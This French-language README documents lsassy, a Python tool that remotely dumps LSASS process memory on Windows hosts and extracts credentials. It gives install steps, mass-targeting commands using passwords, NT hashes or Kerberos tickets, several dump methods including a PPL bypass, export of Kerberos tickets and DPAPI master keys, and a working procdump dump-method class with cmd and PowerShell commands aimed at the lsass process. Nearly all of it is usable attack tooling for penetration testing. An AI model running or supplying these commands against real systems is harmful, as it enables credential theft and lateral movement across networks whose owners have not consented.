
Extraire les identifiants de lsass à distance
Outil Python pour extraire à distance des identifiants sur un ensemble d'hôtes. Cet article de blog explique son fonctionnement.
Cet outil utilise le projet impacket pour lire à distance les octets nécessaires dans le dump lsass et pypykatz pour extraire les identifiants.
| Chapitres | Description |
|---|
| Avertissement | Avant d'utiliser cet outil, lisez ceci |
| Installation | Installation de lsassy |
| Utilisation de base | Utilisation de base de lsassy |
| Utilisation avancée | Utilisation avancée de lsassy avec explication des paramètres |
| Ajouter une méthode de dump | Comment ajouter une méthode de dump lsass personnalisée |
| Remerciements | Remerciements à ces personnes et outils |
| Discord officiel | Serveur Discord officiel |
Bien que j'aie fait tout mon possible pour rendre l'outil stable, des traces peuvent subsister en cas d'erreur.
Cet outil peut laisser des dumps lsass s'il n'a pas réussi à les supprimer (bien qu'il fasse de son mieux) ou laisser une tâche planifiée en cours d'exécution s'il ne parvient pas à la supprimer. Cela ne devrait pas arriver, mais c'est possible. Maintenant, vous savez, utilisez-le avec précaution.
lsassy fonctionne avec python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy fonctionne immédiatement sur plusieurs cibles (IP, plages, CIDR, noms d'hôte, FQDN, fichiers contenant une liste de cibles)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
Par défaut, lsassy tentera de dumper lsass à distance en utilisant la méthode comsvcs.dll, soit via WMI, soit via une tâche planifiée à distance.
lsassy peut s'authentifier avec Kerberos. Cela nécessite un TGT valide dans la variable d'environnement KRB5CCNAME. Voir utilisation avancée pour plus de détails.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
Différentes méthodes de dump de lsass sont implémentées dans lsassy, et certaines options sont fournies pour donner à l'utilisateur le contrôle sur la façon dont l'outil procédera.
lsassy est divisé en modules
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Ce module est l'orchestrateur. Il crée la classe lsassy avec les arguments et options fournis, puis appelle les différents modules pour récupérer les identifiants.
Ce module est utilisé pour la journalisation.
Il s'agit d'une couche construite au-dessus d'Impacket pour se comporter comme un objet fichier natif de Python. Il remplace les méthodes telles que open, read, seek, ou close.
Ce module est celui où toute la logique de dump se produit. Selon la méthode utilisée, il exécutera du code sur l'hôte distant pour dumper lsass en utilisant la méthode fournie.
Ce module repose sur pypykatz et utilise le module fichier de lsassy pour analyser à distance le dump lsass.
Ce module gère la partie sortie, soit à l'écran dans différents formats et/ou écrit les résultats dans un fichier.
Cet outil peut dumper lsass de différentes manières.
Méthodes de dump (-m ou --method)
Cette méthode utilise uniquement des fichiers Windows intégrés pour extraire les identifiants distants. Elle utilise la fonction minidump de comsvcs.dll pour dumper le processus lsass.
Cette méthode télécharge procdump.exe de SysInternals pour dumper le processus lsass.
Cette méthode télécharge dumpert.exe ou dumpert.dll de outflanknl pour dumper le processus lsass en utilisant des appels système.
Cette méthode télécharge NativeDump.exe de ricardojoserf pour dumper le processus lsass en utilisant uniquement les API NT.
Cette méthode télécharge ppldump.exe de itm4n pour dumper le processus lsass et contourner PPL.
Cette méthode télécharge Mirrordump.exe de Ccob pour dumper lsass en utilisant un handle déjà ouvert vers lsass via un plugin LSA.
Cette méthode utilise la technique WER utilisée dans PowerSploit.
Pour certaines méthodes de dump, des options sont nécessaires, comme le chemin de procdump ou dumpert. Ces options peuvent être définies en utilisant --options ou -O avec une liste d'options séparées par des virgules sous la forme key=value.
... --options key=value,foo=bar
Par exemple :
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Vous pouvez choisir d'analyser un processus lsass déjà dumpé en fournissant l'option --parse-only, ainsi que les paramètres --dump-path et --dump-name.
Notez que si vous choisissez cette méthode, le dump lsass distant ne sera pas supprimé.
Par exemple :
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Si vous ne souhaitez pas que le dump soit automatiquement supprimé après l'exécution de lsassy, vous pouvez utiliser --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Les tickets Kerberos seront extraits et sauvegardés dans $HOME/.config/lsassy/tickets au format ccache. Vous pouvez spécifier le répertoire de sortie en utilisant le paramètre -K [répertoire] ou --kerberos-dir [répertoire]. Si ce répertoire n'existe pas, l'outil tentera de le créer avant de sauvegarder les tickets.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
Les clés maîtresses DPAPI seront extraites et sauvegardées dans $HOME/.config/lsassy/masterkeys.txt au format {GUID}:SHA1. Vous pouvez spécifier le chemin du fichier de clés maîtresses en utilisant le paramètre -M [chemin] ou --masterkeys-file [chemin]. Si le chemin du fichier n'existe pas, l'outil tentera de le créer avant de créer le fichier.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Il existe trois façons différentes de s'authentifier sur des cibles distantes avec lsassy. La seule condition est que l'utilisateur doit avoir des droits d'administration locaux sur les cibles distantes.
La première et la plus évidente est d'utiliser des identifiants en clair. Il peut s'agir d'un utilisateur local ou de domaine.
## Local user
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Domain user
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
Il est également possible de s'authentifier en utilisant le hash NT de l'utilisateur. Vous pouvez fournir soit LM:NT, soit uniquement la version NT.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Or
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Vous pouvez également vous authentifier avec Kerberos. Pour que cela fonctionne, vous devez avoir un ticket valide sauvegardé sur le disque, et le chemin du ticket doit être fourni dans la variable d'environnement KRB5CCNAME. À des fins de test, cela peut être réalisé en utilisant l'outil getTGT.py d'Impacket.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Cette commande demandera un TGT et le sauvegardera dans le fichier jsnow.ccache.
Pour que lsassy sache quel ticket utiliser, vous devez définir explicitement le chemin du ticket dans la variable d'environnement KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
Lorsqu'il est correctement configuré, vous devriez pouvoir utiliser ce ticket pour l'authentification en utilisant le paramètre -k. Comme vous utilisez ce ticket, vous n'avez plus besoin de fournir d'autres informations d'authentification.
lsassy -k server01.hackn.lab
Notez que pour que cela fonctionne, vous aurez besoin d'une configuration DNS valide, soit dynamique avec un serveur DNS valide, soit statique en utilisant le fichier hosts. De plus, vous devez toujours utiliser le FQDN lors de la génération des tickets et de l'utilisation de lsassy, c'est-à-dire utiliser server01.hackn.lab au lieu de server01.
lsassy peut afficher les identifiants dans différents formats en utilisant l'option --format ou -f.
Format par défaut, les identifiants sont affichés de manière agréable et propre avec des couleurs dorées. In credz we trust.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Affiche le résultat au format json. Peut être utile lorsqu'il est appelé depuis un script.
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Sortie greppable utile pour des commandes en une ligne.
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
N'affiche pas le résultat. Utile lors de l'utilisation de --outfile.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Sauvegarde le résultat dans un format greppable dans le fichier fourni (--outfile ou -o).
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Si vous souhaitez obtenir uniquement les identifiants des utilisateurs, en excluant ceux des ordinateurs, vous pouvez utiliser l'option --users.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
Si vous ne voulez pas que les tickets soient exportés, vous pouvez utiliser l'option --no-tickets.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
Si vous ne voulez pas que les clés maîtresses soient exportées, vous pouvez utiliser l'option --no-masterkeys.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Vous pouvez décider du nombre de threads à utiliser [1-256] avec le paramètre --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
Il y a un fichier dummy.py.tpl dans le répertoire dumpmethod. Ce fichier contient la structure de base pour créer une nouvelle fonctionnalité de méthode de dump.
Cette méthode est obligatoire car c'est la méthode qui sera utilisée pour exécuter du code sur l'hôte distant afin de dumper lsass d'une manière ou d'une autre. Elle doit retourner un dictionnaire avec deux éléments cmd et pwsh.
cmd command est une commande comprise par l'utilitaire cmd.exe pwsh command est une commande comprise par powershell (la plupart du temps, la commande cmd est également valide dans powershell)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Il existe une classe Dependency qui peut être utilisée pour télécharger facilement les fichiers nécessaires à la méthode de dump, comme procdump.exe de Sysinternals. Deux méthodes peuvent être utilisées :
prepare_dependencies pour vérifier si tous les paramètres ont été fournis par l'utilisateur pour trouver localement le fichier sur le disque de l'utilisateur et le télécharger, puis effectuer le téléchargementclean_dependencies pour essayer de supprimer les fichiers téléchargésCette méthode sera appelée avant l'exécution des commandes fournies par get_commands. Elle peut être utilisée pour télécharger des fichiers ou vérifier des choses.
Cette méthode sera appelée après l'exécution des commandes fournies par get_commands. Elle peut être utilisée pour supprimer les fichiers téléchargés ou nettoyer.
Voici un exemple procdump avec quelques commentaires
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Vous pouvez consulter la classe dummy pour plus de commentaires et/ou d'informations.
